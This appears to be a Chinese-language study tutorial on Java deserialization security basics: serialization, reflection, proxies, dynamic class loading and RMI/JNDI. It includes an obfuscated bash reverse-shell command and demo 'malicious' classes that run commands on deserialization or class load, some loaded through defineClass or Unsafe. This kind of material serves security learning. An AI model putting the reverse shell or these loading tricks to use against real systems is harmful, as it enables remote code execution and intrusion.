Java序列化和反序列化基础

Java序列化和反序列化基础

什么是序列化和反序列化在编程语言的世界当中,常常有这样的需求,我们需要将本地已经实例化的某个对象,通过网络传递到其他机器当中.为了满足这种需求,就有了所谓的序列化和反序列化

序列化:将内存中的某个对象压缩成字节流的形式

反序列化:将字节流转化成内存中的对象

为什么会产生安全问题?只要服务端反序列化数据,客户端传递类的readObject中代码会自动执行,给予攻击者在服务器上运行代码的能力.

可能的形式入口类的readObject直接调用危险方法

入口类参数中包含可控类,该类有危险方法,readObject时调用

入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用

比如类型定义为Object,调用equals/hashcode/toString相同类型 同名函数

构造函数/静态代码块等类加载时隐式执行

JAVA原生反序列化漏洞成因Java中间件通常通过网络接收客户端发送的序列化数据,而在服务端对序列化数据进行反序列化时,会调用被序列化对象的readObject()方法.而在Java中如果重写了某个类的方法,就会优先调用经过修改后的方法.如果某个对象重写了readObject()方法,且在方法中能够执行任意代码,那服务端在进行反序列化时,也会执行相应代码

Java序列化和反序列化基础需要跳出PHP反序列化的思想在php中序列化是将对象等转换成了字符串,而在Java中则是转换成了字节流序列化/反序列化是一种思想,并不局限于其实现的形式如:

JAVA内置的writeObject()/readObject()

JAVA内置的XMLDecoder()/XMLEncoder

XStream

SnakeYaml

FastJson

Jackson

出现过漏洞的组件

Apache Shiro

Apache Axis

Weblogic

Jboss

Fastjson

Java中的命令执行

public static void main() throws Exception{

Runtime.getRuntime().exec("calc");

/*

Java中执行系统命令使用java.lang.Runtime类的exec方法

以上函数可以弹出计算器

getRuntime()是Runtime类中的静态方法,使用此方法获取当前java程序的Runtime(即运行时:计算机程序运行需要的代码库,框架,平台等)

exec底层为ProcessBuilder:此类用于创建操作系统进程

每个ProcessBuilder实例管理进程属性的集合。 start()方法使用这些属性创建一个新的Process实例。 start()方法可以从同一实例重复调用,以创建具有相同或相关属性的新子进程。

*/

}

注意:这里的命令执行,并不是使用系统中的bash或是cmd进行的系统命令执行,而是使用JAVA本身,所以反弹shell的重定向符在JAVA中并不支持

bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTI3LjAuMC4xLzU1NTUgMD4mMQ==}|{base64,-d}{bash,-i}

编写一个可以序列化的类在Java当中,如果一个类需要被序列化和反序列化 ,需要实现java.io.Serializable接口

/*

* @Author: 江霁月

* @Date: 2022-10-03 15:57:25

* @LastEditors: 江霁月

* @LastEditTime: 2022-10-04 14:25:05

* @Description: 请填写简介

*/

package serializable;

import java.io.IOException;

import java.io.ObjectInputStream;

import java.io.Serializable;

/*

* implements Serializable:序列化的前提,需要实现这个接口

* Serializable:表示这个类的成员可以被序列化

*/

public class Person implements Serializable {

private static final long serialVersionUID = 1L;

// 添加一个 transient 关键字,则name属性不会被序列化和反序列化

// 如果将属性设置为static,同样不会被序列化和反序列化

// private transient String name;

public String name;

private int age;

public Person(){

}

public Person(String name, int age) {

this.name = name;

this.age = age;

}

/*

* @Override是Java5的元数据,自动加上去的一个标志,告诉你说下面这个方法是从父类/接口

* 继承过来的,需要你重写一次,这样就可以方便你阅读,也不怕会忘记

* @Override是伪代码,表示重写(当然不写也可以),不过写上有如下好处:

* 1. 可以当注释用,方便阅读

* 2. 编译器可以给你验证@Override下面的方法名是否是你父类中所有的,如果没有则报错

* 比如你如果没写@Override而你下面的方法名又写错了,这时你的编译器是可以通过的(它以为这个方法是你的子类中自己增加的方法)

* 使用该标记是为了增强程序在编译时候的检查,如果该方法并不是一个覆盖父类的方法,在编译时编译器就会报告错误

*/

@Override

public String toString() {

return "Person{" + "name='" + name + '\'' + ",age=" + age + '}';

}

private void readObject(ObjectInputStream objectInputStream) throws IOException, ClassNotFoundException {

/*

* java.io.ObjectInputStream.defaultReadObject()

* 方法用于从这个ObjectInputStream读取当前类的非静态和非瞬态字段.它间接地涉及到该类的readObject()方法的帮助.

* 如果它被调用,则会抛出NotActiveException

*/

objectInputStream.defaultReadObject();

/*

* 每个Java应用程序都有一个Runtime类的Runtime ,允许应用程序与运行应用程序的环境进行接口.当前运行时可以从getRuntime方法获得.

*/

/*

* exec:在具有指定环境的单独进程中执行指定的字符串命令

*/

Runtime.getRuntime().exec("calc");

}

}

我们跟进java.io.Serializable接口,发现是一个空接口,说明其作用只是为了在序列化和反序列化中做了一个类型判断.为什么呢?因为需要遵循非必要原则,不需要反序列化的类就可以不用序列化了

public interface Serializable{

}

如何序列化类Java原生实现了一套序列化的机制,它让我们不需要额外编写代码,只需要实现java.io.Serializable接口,并调用ObjectOutputStream类的writeObject方法即可

/*

* @Author: 江霁月

* @Date: 2022-10-03 15:56:26

* @LastEditors: 江霁月

* @LastEditTime: 2022-10-04 10:19:15

* @Description: 请填写简介

*/

package serializable;

import java.io.FileOutputStream;

import java.io.IOException;

import java.io.ObjectOutputStream;

public class Serializable {

public static void serializable(Object person) throws IOException {

/*

* ObjectOutputStream将Java对象的原始数据类型和图形写入OutputStream.可以使用ObjectInputStream读取(重构)

* 对象.可以通过使用流的文件来实现对象的持久存储.如果流是网络套接字流,则可以在另一个主机上或另一个进程中重构对象.

*/

/*

* 文件输出流是用于将数据写入到输出流File或一个FileDescriptor

* .文件是否可用或可能被创建取决于底层平台.特别是某些平台允许一次只能打开一个文件来写入一个FileOutputStream

* (或其他文件写入对象).在这种情况下,如果所涉及的文件已经打开,则此类中的构造函数将失败.

* FileOutputStream用于写入诸如图像数据的原始字节流. 对于写入字符流,请考虑使用FileWriter .

*/

// 序列化的类

ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("ser.ser"));

/*

* 方法writeObject用于将一个对象写入流中. 任何对象,包括字符串和数组,都是用writeObject编写的. 多个对象或原语可以写入流.

* 必须从对应的ObjectInputstream读取对象,其类型和写入次序相同.

*/

// 需要序列化的对象是谁?

obj.writeObject(person);

obj.close();

}

public static void main(String[] args) throws Exception{

Person person = new Person("JiangJiYue", 22);

serializable(person);

}

}

跟进writeObject函数,我们通过阅读他的注释可知:在反序列化的过程当中,是针对对象本身,而非针对类的,因为静态属性是不参与序列化和反序列化的过程的.另外,如果属性本身声明了transient关键字,也会被忽略.但是如果某对象继承了A类,那么A类当中的对象的对象属性也是会被序列化和反序列化的(前提是A类也实现了java.io.Serializable接口)

如何反序列化类序列化使用ObjectOutPutStream类,反序列化使用的则是ObjectInputStream类的readObject方法.我们在之前重写了readObject方法,所以会执行命令

/*

* @Author: 江霁月

* @Date: 2022-10-03 15:57:52

* @LastEditors: 江霁月

* @LastEditTime: 2022-10-04 10:23:07

* @Description: 请填写简介

*/

package serializable;

import java.io.FileInputStream;

import java.io.IOException;

import java.io.ObjectInputStream;

public class Unserializable {

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {

/*

* ObjectInputStream反序列化先前使用ObjectOutputStream编写的原始数据和对象.

* ObjectOutputStream和ObjectInputStream可以分别为与FileOutputStream和FileInputStream一起使用的对象图提供持久性存储的应用程序.

* ObjectInputStream用于恢复先前序列化的对象. 其他用途包括使用套接字流在主机之间传递对象,或者在远程通信系统中进行封送和解组参数和参数.

* ObjectInputStream确保从流中创建的图中的所有对象的类型与Java虚拟机中存在的类匹配. 根据需要使用标准机制加载类.

* 只能从流中读取支持java.io.Serializable或java.io.Externalizable接口的对象.

*/

// 反序列化的类

ObjectInputStream ins = new ObjectInputStream((new FileInputStream(Filename)));

/*

* 方法readObject用于从流中读取对象. 应使用Java的安全铸造来获得所需的类型. 在Java中,字符串和数组是对象,在序列化过程中被视为对象.

* 读取时,需要将其转换为预期类型.

*/

// 读出来并反序列化

Object obj = ins.readObject();

ins.close();

return obj;

}

public static void main(String[] args) throws Exception {

Person person = (Person) unserialize("ser.ser");

System.out.println(person);

}

}

其实反序列化的实现就是序列化的逆过程,会根据序列化读出数据的类型,进行相应的处理

serialVersionUID序列化和反序列化可以理解为压缩和解压缩,但是压缩之所以能被解压缩的前提是因为他俩的协议是一样的.如果压缩是以四个字节为一个单位,而解压缩以八个字节为一个单位,就会乱套

同样在Java中与协议相对的概念为:serialVersionUID

当serialVersionUID不一致时,反序列化会直接抛出异常

比如设置为1L时序列化,修改为2L时反序列化,则会抛出异常

跟进代码可以发现,针对序列化数据中的serialVersionUID和实际获取到类的serialVersionUID进行了判断,如果不相等则抛出异常

Java反射将类的各个组成部分封装为其他对象,这就是反射机制

反射的作用让Java具有动态性

修改已有对象的属性

动态生成对象

动态调用方法

操作内部类和私有方法

解耦,提高程序的可扩展性

在反序列化漏洞中的应用

定制需要的对象

通过invoke调用除了同名函数以外的函数

通过Class类创建对象,引入不能序列化的类

获取字节码Class对象的三种方式Source源代码阶段:Class.forName("全类名");

将字节码文件加载进内存,返回Class对象多用于配置文件,可以将类名定义在配置文件中,读取文件,加载类

Class类对象阶段:类名.class

通过类名的属性class来获取多用于参数的传递

Runtime运行时阶段:对象.getClass

getClass()方法在Object类中定义着多用于对象的获取字节码的方式

同一个字节码文件(*.class)在一次程序运行过程中,只会被加载一次,不论通过哪一种方式获取的Class对象都是同一个

Class对象Field获取成员变量们

Field[] fields = getFields()获取所有public修饰的成员变量

Field field = getField(String name)获取所有public修饰的成员变量

Field[] fields = getDeclaredFields()获取所有的成员变量

Field field = getDeclaredField(String name)获取所有的成员变量

操作

获取值:get(Object obj)

package serializable;

import java.lang.reflect.Constructor;

import java.lang.reflect.Field;

public class ReflectionTest {

public static void main(String[] args) throws Exception {

Class cls = Class.forName("serializable.Person");

//当我不想 newInstance初始化的时候执行空参数的构造函数的时候

//可以通过字节码文件对象方式 getConstructor(paramterTypes) 获取到该构造函数

//获取到Person(String name,int age) 构造函数

// 从class里面实例化对象

Constructor personconstructor = cls.getConstructor(String.class,int.class);

//通过构造器对象 newInstance 方法对对象进行初始化 有参数构造函数

Person p = (Person) personconstructor.newInstance("abc",22);

Field name = cls.getField("name");

System.out.println(name.get(p));

}

}

- 私有的会访问异常,需要在访问之前忽略访问权限修饰符的安全检查

Field age = cls.getDeclaredField("age");

// 忽略安全检查又称为暴力反射

age.setAccessible(true);

System.out.println(age.get(p));

设置值:void set(Object obj,Object value)

name.set(p,"张三");

System.out.println(p);

Constructor获取构造方法们

Constructor[] = getConstructors()

Constructor = getConstructor(类...parameterTypes)

Constructor:构造方法

newInstance(Object... initargs):创建对象Person p = (Person) personconstructor.newInstance("abc",22);

Constructor personconstructor = cls.getConstructor(String.class,int.class);

System.out.println(personconstructor);

- 如果使用空参构造方法创建对象,操作可以简化:Class对象的`newInstance`

Class cls = Class.forName("serializable.Person");

Object o = cls.newInstance();

System.out.println(o);

Constructor[] = getDeclaredConstructors()

Constructor = getDeclaredConstructor(类...parameterTypes)

Method获取成员方法们

Method[] = getMethods()

Method = getMethod(类...parameterTypes)

Class cls = Class.forName("serializable.Person");

// 获取指定名称

Method eat_method = cls.getMethod("eat");

Object p = cls.newInstance();

// 执行方法

eat_method.invoke(p);

Method[] = getDeclaredMethods()

Method = getDeclaredMethod(类...parameterTypes)

获取方法名称:String getName

Class cls = Class.forName("serializable.Person");

Method[] methods = cls.getMethods();

for (Method method:methods){

System.out.println(method.getName());

}

获取类名String name = getName()

Class cls = Class.forName("serializable.Person");

String className = cls.getName();

System.out.println(className);

案例写一个"框架",可以帮我们创建任意类的对象,并且执行其中任意方法

/*

* @Author: 江霁月

* @Date: 2022-10-04 14:11:43

* @LastEditors: 江霁月

* @LastEditTime: 2022-10-04 16:08:53

* @Description: 请填写简介

*/

package serializable;

import java.io.InputStream;

import java.lang.reflect.Method;

import java.util.Properties;

public class ReflectionTest {

public static void main(String[] args) throws Exception {

/*

* 前提:不能改变该类的任何代码,可以创建任意类的对象,可以执行任意方法

* 步骤:

* 1. 将需要创建的对象的全类名和需要执行的方法定义在配置文件中

* 2. 在程序中加载读取配置文件

* 3. 使用反射技术来加载类文件进内存

* 4. 创建对象

* 5. 执行方法

* */

// 1.1创建Properties对象

Properties pro = new Properties();

// 1.2加载配置文件,转换为一个集合

// 1.2.1获取class目录下的配置文件

ClassLoader classLoader = ReflectionTest.class.getClassLoader();

InputStream is = classLoader.getResourceAsStream("serializable/pro.properties");

pro.load(is);

// 2.获取配置文件中定义的数据

String className = pro.getProperty("className");

String methodName = pro.getProperty("methodName");

// 3.加载该类进内存

Class cls = Class.forName(className);

// 4.创建对象

Object obj = cls.newInstance();

// 5.获取方法对象

Method method = cls.getMethod(methodName);

// 6.执行方法

method.invoke(obj);

}

}

pro.properties:

className=serializable.Person

methodName=eat

Java代理定义:为其他对象提供一种代理以控制对这个对象的访问

代理模式是一种设计模式,可以在不修改被代理对象的基础上,通过扩展代理类,进行一些功能的附加与增强,之得注意的是:代理类和被代理类应该共同实现一个接口,或者是共同继承某个类

优点:

职责清晰

高扩展,只要实现了接口,都可以使用代理

智能化,动态代理、

分类

静态代理

动态代理

代理常用与记录日志的环境,比如在代理中实现各种日志的记录

静态代理我们现在有一个接口:IUser``IUser.java:

/*

* @Author: 江霁月

* @Date: 2022-10-11 19:40:35

* @LastEditors: 江霁月

* @LastEditTime: 2022-10-11 19:40:36

* @Description: 请填写简介

*/

package java_proxy;

public interface IUser {

void show();

}

然后Userlmpl.java实现这个接口

/*

* @Author: 江霁月

* @Date: 2022-10-11 19:42:01

* @LastEditors: 江霁月

* @LastEditTime: 2022-10-11 19:43:35

* @Description: 请填写简介

*/

package java_proxy;

public class Userlmpl implements IUser{

public Userlmpl() {

}

@Override

// @Override是伪代码,表示重写

public void show() {

System.out.println("展示");

}

}

假设我们现在要做一件事,就是在所有的实现类调用show()后增加一行输出调用了UserProxy中的show,那我们只需要编写代理类UserProxy

/*

* @Author: 江霁月

* @Date: 2022-10-11 19:45:45

* @LastEditors: 江霁月

* @LastEditTime: 2022-10-11 19:46:53

* @Description: 请填写简介

*/

package java_proxy;

public class UserProxy implements IUser{

IUser user;

public UserProxy() {

}

public UserProxy(IUser user) {

this.user = user;

}

@Override

public void show() {

user.show();

System.out.println("调用了UserProxy中的show");

}

}

ProxyTest.java

/*

* @Author: 江霁月

* @Date: 2022-10-11 19:44:01

* @LastEditors: 江霁月

* @LastEditTime: 2022-10-11 20:25:55

* @Description: 请填写简介

*/

package java_proxy;

import java.lang.reflect.InvocationHandler;

import java.lang.reflect.Proxy;

public class ProxyTest {

public static void main(String[] args) {

IUser user = new Userlmpl();

// 静态代理

IUser userProxy = new UserProxy(user);

userProxy.show();

}

}

这种模式虽然好理解,但是缺点也很明显:

会存在大量的冗余的代理类,这里演示了1个接口,如果有10个接口,就必须定义10个代理类。

不易维护,一旦接口更改,代理类和目标类都需要更改。

动态代理JDK动态代理,通俗点说就是:无需声明式的创建java代理类,而是在运行过程中生成"虚拟"的代理类,被ClassLoader加载。从而避免了静态代理那样需要声明大量的代理类。

JDK从1.3版本就开始支持动态代理类的创建。主要核心类只有2个:java.lang.reflect.Proxy和java.lang.reflect.InvocationHandler。

JDK动态代理采用接口代理的模式,代理对象只能赋值给接口,允许多个接口

还是前面那个例子,用动态代理类去实现的代码如下:Userlmpl.java

/*

* @Author: 江霁月

* @Date: 2022-10-11 19:42:01

* @LastEditors: 江霁月

* @LastEditTime: 2022-10-11 19:43:35

* @Description: 请填写简介

*/

package java_proxy;

public class Userlmpl implements IUser{

public Userlmpl() {

}

@Override

// @Override是伪代码,表示重写

public void show() {

System.out.println("展示");

}

}

UserInvocationHandler.java

/*

* @Author: 江霁月

* @Date: 2022-10-11 20:21:22

* @LastEditors: 江霁月

* @LastEditTime: 2022-10-11 20:27:17

* @Description: 请填写简介

*/

package java_proxy;

import java.lang.reflect.InvocationHandler;

import java.lang.reflect.Method;

public class UserInvocationHandler implements InvocationHandler {

IUser user;

public UserInvocationHandler() {

}

public UserInvocationHandler(IUser user) {

this.user = user;

}

@Override

public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {

System.out.println("调用了UserInvocationHandler中的show");

method.invoke(user, args);

return null;

}

}

ProxyTest.java

/*

* @Author: 江霁月

* @Date: 2022-10-11 19:44:01

* @LastEditors: 江霁月

* @LastEditTime: 2022-10-11 20:25:55

* @Description: 请填写简介

*/

package java_proxy;

import java.lang.reflect.InvocationHandler;

import java.lang.reflect.Proxy;

public class ProxyTest {

public static void main(String[] args) {

IUser user = new Userlmpl();

// 动态代理

InvocationHandler userinvhandler = new UserInvocationHandler(user);

// 要代理的接口、类加载器,classloader、要做的事情、

IUser userProxy = (IUser) Proxy.newProxyInstance(user.getClass().getClassLoader(),

user.getClass().getInterfaces(), userinvhandler);

userProxy.show();

}

}

Java类的动态加载类加载,即虚拟机加载.class文件。什么时候虚拟机需要开始加载一个类呢?虚拟机对此没有规范约束,交给虚拟机把握。 类加载,即虚拟机加载.class文件。什么时候虚拟机需要开始加载一个类呢?虚拟机对此没有规范约束,交给虚拟机把握。

类加载的时候会执行代码

初始化:静态代码块

实例化:构造代码块、无参数构造函数

Javac原理javac是用于将源码文件.java编译成对应的字节码文件.class。其步骤是:源码——>词法分析器组件(生成token流)——>语法分析器组件(语法树)——>语义分析器组件(注解语法树)——>代码生成器组件(字节码)

类加载过程先在方法区找class信息,有的话直接调用,没有的话则使用类加载器加载到方法区(静态成员放在静态区,非静态成功放在非静态区),静态代码块在类加载时自动执行代码,非静态的不执行;先父类后子类,先静态后非静态;静态方法和非静态方法都是被动调用,即不调用就不执行。

类加载的流程图

/*

* @Author: 江霁月

* @Date: 2022-10-12 12:18:17

* @LastEditors: 江霁月

* @LastEditTime: 2022-10-12 12:25:28

* @Description: 请填写简介

*/

package load_class;

public class Person {

public String name;

private int age;

static {

System.out.println("静态代码块");

}

public static void staticAction() {

System.out.println("静态方法");

}

{

System.out.println("构造代码块");

}

public Person(){

System.out.println("无参Person");

}

public Person(String name, int age) {

System.out.println("有参Person");

this.name = name;

this.age = age;

}

/*

* @Override是Java5的元数据,自动加上去的一个标志,告诉你说下面这个方法是从父类/接口

* 继承过来的,需要你重写一次,这样就可以方便你阅读,也不怕会忘记

* @Override是伪代码,表示重写(当然不写也可以),

*/

@Override

public String toString() {

return "Person{" + "name='" + name + '\'' + ",age=" + age + '}';

}

private void action(String act){System.out.println(act);}

}

动态类加载方法类加载可以加载任意方法,但是反射只能反射公共的

Class.fornamepackage load_class;

public class LoadClass {

public static void main(String[] args) throws Exception{

// 动态加载进行了初始化的操作

Class.forName("load_class.Person");

}

}

/*

* @Author: 江霁月

* @Date: 2022-10-12 12:17:50

* @LastEditors: 江霁月

* @LastEditTime: 2022-10-12 14:37:34

* @Description: 请填写简介

*/

package load_class;

public class LoadClass {

public static void main(String[] args) throws Exception {

// ClassLoader是一个抽象类,不能被实例化,但是提供了一个静态方法,获取当前系统的类加载器

ClassLoader cs = ClassLoader.getSystemClassLoader();

// 第一个参数类名

// 第二个参数是不进行初始化

// 第四个参数是forName0的,所以在这不用写

// 这种都是可以正常实例化的

Class c = Class.forName("load_class.Person", false, cs);

// 正常的实例化

c.newInstance();

}

}

ClassLoader/*

* @Author: 江霁月

* @Date: 2022-10-12 12:17:50

* @LastEditors: 江霁月

* @LastEditTime: 2022-10-12 14:40:27

* @Description: 请填写简介

*/

package load_class;

public class LoadClass {

public static void main(String[] args) throws Exception {

// ClassLoader是一个抽象类,不能被实例化,但是提供了一个静态方法,获取当前系统的类加载器

ClassLoader cs = ClassLoader.getSystemClassLoader();

// 打印ClassLoader,看一下是什么

// result:sun.misc.Launcher$AppClassLoader@73d16e93

// 他是Launcher里面的一个内部类,叫做AppClassLoader

System.out.println(cs);

}

}

漏洞利用相关类URLClassLoaderURLClassLoader:输入一个URL,从URL内加载一个类出来

构造一个恶意类

import java.io.IOException;

public class Hello {

static {

try {

Runtime.getRuntime().exec("calc");

} catch (IOException e) {

e.printStackTrace();

}

}

}

javac .\Hello.java然后将Hello.java删除或者移动到其他目录

编译动态加载类

defineClassdefineClass是一个protected,所以只能通过反射调用,字节码任意加载类构造恶意类:Hello.java

/*

* @Author: 江霁月

* @Date: 2022-10-12 22:43:33

* @LastEditors: 江霁月

* @LastEditTime: 2022-10-13 08:27:39

* @Description: 请填写简介

*/

package load_class;

public class Hello {

public Hello() throws Exception{

Runtime.getRuntime().exec("calc");

}

}

动态加载:LoadClass.java

ClassLoader cl = ClassLoader.getSystemClassLoader();

Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",String.class, byte[].class, int.class, int.class);

defineClassMethod.setAccessible(true);

byte[] code = Files.readAllBytes(Paths.get("D:\\LearningWorld\\PersonalProject\\PersonalProject\\Java\\基础语法\\src\\load_class\\Hello.class"));

Class c = (Class) defineClassMethod.invoke(cl,"load_class.Hello",code,0,code.length);

c.newInstance();

UnsafeUnsafe中也含有defineClass字节码任意加载类

/*

* @Author: 江霁月

* @Date: 2022-10-12 12:17:50

* @LastEditors: 江霁月

* @LastEditTime: 2022-10-13 20:19:06

* @Description: 请填写简介

*/

package load_class;

import sun.misc.Launcher;

import sun.misc.Unsafe;

import java.io.File;

import java.lang.reflect.Field;

import java.lang.reflect.Method;

import java.net.URL;

import java.net.URLClassLoader;

import java.nio.file.Files;

import java.nio.file.Paths;

public class LoadClass {

public static void main(String[] args) throws Exception {

ClassLoader cl = ClassLoader.getSystemClassLoader();

byte[] code = Files.readAllBytes(Paths

.get("D:\\LearningWorld\\PersonalProject\\PersonalProject\\Java\\基础语法\\src\\load_class\\Hello.class"));

Class c = Unsafe.class;

Field theUnsafeField = c.getDeclaredField("theUnsafe");

theUnsafeField.setAccessible(true);

Unsafe unsafe = (Unsafe) theUnsafeField.get(null);

Class c2 = unsafe.defineClass("load_class.Hello", code, 0, code.length, cl, null);

c2.newInstance();

}

}

Map集合集合又称容器,是Java中对数据结构(数据存储方式)的具体实现我们可以利用集合存放数据,也可对集合进行新增、删除、修改、查看等操作集合中数据都是在内存中,当程序关闭或重启后集合中数据会丢失 .所以集合是一种临时存储数据的容器

Map集合类型Map

特点

Map集合是一个双列集合,一个元素包含两个值(一个key,一个value)

Map集合中的元素,key和value的数据类型可以相同,也可以不同

Map集合中的元素,key是不允许重复的,value是可以重复的

Map集合中的元素,key和value是一一对应的

HashMap

采用Hashtable哈希表存储结构(神奇的结构)

优点:添加速度快、查询速度快、删除速度快

缺点:key无序

LinkedHashMap

采用哈希表存储结构,同时使用链表维护次序

key有序(添加顺序)

TreeMap

采用二叉树(红黑树)的存储结构

优点:key有序 查询速度比List快(按照内容查询)

缺点:查询速度没有HashMap快

Map接口接口Map是独立的接口,和Collection没有关系Map中每个元素都是Entry类型,每个元素都包含Key(键)和Value(值)

继承关系Ctrl+H

包含的API:Alt+7

Map使用/*

* @Author: 江霁月

* @Date: 2022-10-16 20:33:43

* @LastEditors: 江霁月

* @LastEditTime: 2022-10-16 22:34:09

* @Description: 请填写简介

*/

package java_Map;

import java.util.*;

public class TestMap {

public static void main(String[] args) {

// Student stu1 = new Student(1, "张三", 22);

// Student stu2 = new Student(2, "李四", 28);

// Student stu3 = new Student(3, "王五", 24);

// Student stu4 = new Student(4, "赵六", 21);

// Student stu5 = new Student(5, "刘琦", 18);

//

// Map map = new HashMap<>();

// map.put(stu1.getId(), stu1);

// map.put(stu2.getId(), stu2);

// map.put(stu3.getId(), stu3);

// map.put(stu4.getId(), stu4);

// map.put(stu5.getId(), stu5);

// // 该代码允许用户从System.in读取一个数字

// Scanner sc = new Scanner(System.in);

// // 提示文字

// System.out.println("请输入学生的编号:");

// // 该代码允许用户从System.in读取一个数字

// int id = sc.nextInt();

// sc.close();

// // map.get()通过key取值

// System.out.println(map.get(id));

Map map = new HashMap<>();

// Map集合添加元素 k v

map.put(1, "北京");

map.put(2, "山东");

map.put(3, "河南");

map.put(4, "河北");

// 根据Key获取对应的值

System.out.println(map.get(1));

// 根据Map的key进行元素的移除 如果元素不存在返回是null 否则返回移除对象的value

String s = map.remove(1);

System.out.println(s);

// 根据 k v 同时移除内容 返回值是布尔类型

System.out.println(map.remove(2, "山东"));

// 元素的替换

System.out.println(map.replace(3, "天津"));

// 替换成功返回Bool

System.out.println(map.replace(4, "河北", "山西"));

System.out.println(map.get(4));

System.out.println(map);

// 清空map集合内容 k v 都清空

map.clear();

System.out.println(map);

System.out.println("--------HashMap保存值情况--------");

map.put(1, "北京1");

// HashMap中如果k相同了 后者的v就会把前者相同的k的v进行覆盖

System.out.println(map);

// hash表中是允许Kev保存空对象

map.put(null, "空");

System.out.println(map);

System.out.println("--------TreeMap保存值情况--------");

Map map2 = new TreeMap<>();

map2.put(1, "北京");

map2.put(2, "北京2");

// TreeMap中如果k相同了 后者的v就会把前者相同的k的v进行覆盖

map2.put(1, "北京3");

// Tree中不允许Kev保存空值,否则出错(源码中没有对null进行处理)

// map2.put(null, "空");

System.out.println(map2);

System.out.println("--------Map3集合的遍历--------");

Map map3 = new HashMap<>();

map3.put(1, "北京");

map3.put(2, "山东");

map3.put(3, "河南");

map3.put(4, "河北");

// 当前遍历的方式

// 获得map集合中当前所有的key

System.out.println("遍历方法一:");

Set keySet = map3.keySet();

for (Integer key : keySet) {

System.out.println(key+"----"+map3.get(key));

}

// 直接获得map集合的value

System.out.println("遍历方法二:");

Collection values = map3.values();

for (String value : values) {

System.out.println(value);

}

System.out.println("遍历方法三:");

Set> entrySet= map3.entrySet();

for (Map.Entry entry : entrySet) {

System.out.println(entry.getKey()+"----"+entry.getValue());

}

}

}

Entry键值对对象我们已经知道,Map中存放的是两种对象,一种称为key(键),一种称为value(值),它们在Map中是一对应关系,这一对对象又称做Map中的一个Entry(项)。Entry 将键值对的对应关系封装成了对象。即键值对对象,这样我们在遍历Map集合时,就可以从每一个键值对 ( Entry ) 对象中获取对应的键与对应的值既然Entry表示了一对键和值,那么也同样提供了获取对应键和对应值得方法:

public K getKey():获取Entry对象中的键

public V getValue():获取Entry对象中的值

在Map集合中也提供了获取所有Entry对象的方法:

public Set> entrySet():获取到Map集合中所有的键值对对象的集合(Set集合)

设定值

setValue(V value)

用指定的值替换与该条目对应的值(可选操作)(写入映射。)如果映射已经从映射中删除(通过迭代器的删除操作),则此调用的行为是未定义的。

参数:value- 要存储在此条目中的新值

return:对应条目的旧值

前置知识利用链利用链是什么:

入口点Source+中间经过的类方法gadget+执行点Sink

RMI/JRMP/JNDIRMI(Remote Method Invocation)能够让程序员开发出基于Java的分布式应用.一个RMI对象是一个远程Java对象,可以从另一个Java虚拟机上(甚至跨过网络)调用他的方法,可以像调用本地Java对象的方法一样调用远程对象的方法,使分布在不同的JVM中的对象的外表和行为都像本地对象一样

一台机器想要执行另一台机器上的java代码

例如:

我们使用浏览器对一个http协议实现的接口进行调用,这个接口调用过程我们可以称为`Interface Invocation`,而RMI的概念与之非常相似,只不过RMI调用的是一个Java方法,而浏览器调用的是一个http接口.并且Java中封装了RMI的一系列定义

Server--->告诉注册中心Client--->根据名字和注册中心要端口

Registry翻译一下就是注册处,其实本质就是一个map(hashtable),注册着许多Name到对象的绑定关系,用于客户端查询要调用的方法的引用.

注册中心约定端口:1099

Registry的作用就好像是病人(客户端)看病之前的挂号(获取远程对象的IP、端口、标识符),知道医生(服务端)在哪个门诊,再去看病(执行远程方法)

RMI底层通讯采用了Stub(运行在客户端)和Skeleton(运行在服务端)机制,RMI调用远程的方法大致如下:整个过程会进行两次TCP连接:

Client获取这个Name和对象的绑定关系

RMI客户端在调用远程方法时会先创建Stub(sun.rmi.registry.Registrylmpl Stub)

Stub会将Remote对象传递给远程引用层java.rmi.server.RemoteRef并创建java.rmi.server.RemoteCall(远程调用)对象。

RemoteCall序列化RMI服务名称、Remote对象。

RMI客户端的远程引用层传输RemoteCall序列化后的请求信息通过Socket连接的方式传输到RMI服务端的远程引用层。

RMI服务端的远程引用层sun.rmi.server.UnicastServerRef收到请求会请求传递给Skeleton(sun.rmi.registry.Registrylmpl_Skel#dispatch)

Skeleton调用RemoteCall反序列化RMI客户端传过来的序列化。

Skeleton处理客户端请求: bind、 list、 lookup、 rebind、 unbind, 如果是lookup则查找RMI服务名绑定的接口对象,序列化该对象并通过RemoteCall传输到客户端。

再去连接Server并调用远程方法

RMI客户端反序列化服务端结果,获取远程对象的引用

RMI客户端调用远程方法,RMI服务端反射调用RMI服务实现类的对应方法并序列化执行结果返回给客户端

RMI客户端反序列化RMI远程方法调用结果

**危险的点:**如果服务端没有我想调用的对象->RMI允许服务端从远程服务器进行远程URL动态类加载对象调用:从网络通信到内存操作,有一个对象的创建到调用的过程-->在JAVA中使用序列化和反序列化来实现

JRMP(Remote Method Protocol)通俗点解释:它就是一个协议,一个在TCP/IP之上的线路层协议,一个RMI的过程,是用到JRMP这个协议去组织数据格式然后通过TCP进行传输,从而达到RMI,也就是远程方法调用、

JNDI(Naming and Directory Interface)Java命名和目录接口,既然是接口,那必定就有实现,而目前我们Java中使用最多的基本就是RMI和LDAP的目录服务系统.

而命名的意思就是,在一个目录系统,它实现了把一个服务名称和对象或命名引用相关联,在客户端,我们可以调用目录系统服务,并根据服务名称查询到相关联的对象或命名引用,然后返回给客户端。而目录的意思就是在命名的基础上,增加了属性的概念,我们可以想象一个文件目录中,每个文件和目录都会存在着一些属性,比如创建时间、读写执行权限等等,并且我们可以通过这些相关属性筛选出相应的文件和目录。而JNDI中的目录服务中的属性大概也与之相似,因此,我们就能在使用服务名称以外,通过一些关联属性查找到对应的对象

总结的来说:JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,我们能通过名称等去找到相关的对象,并把它下载到客户端中来。

还是前面所说的例子,我们在使用浏览器进行访问一个网络上的接口时,它和服务器之间的数据传输以及数据格式的组织,使用到基于TCP/IP之上的HTTP协议,只有通过HTTP协议,浏览器和服务端约定好的一个协议,他们之间才能正常的交流通讯,而JRMP也是一个与之相似的协议,只能JRMP这个协议仅用于Java RMI中

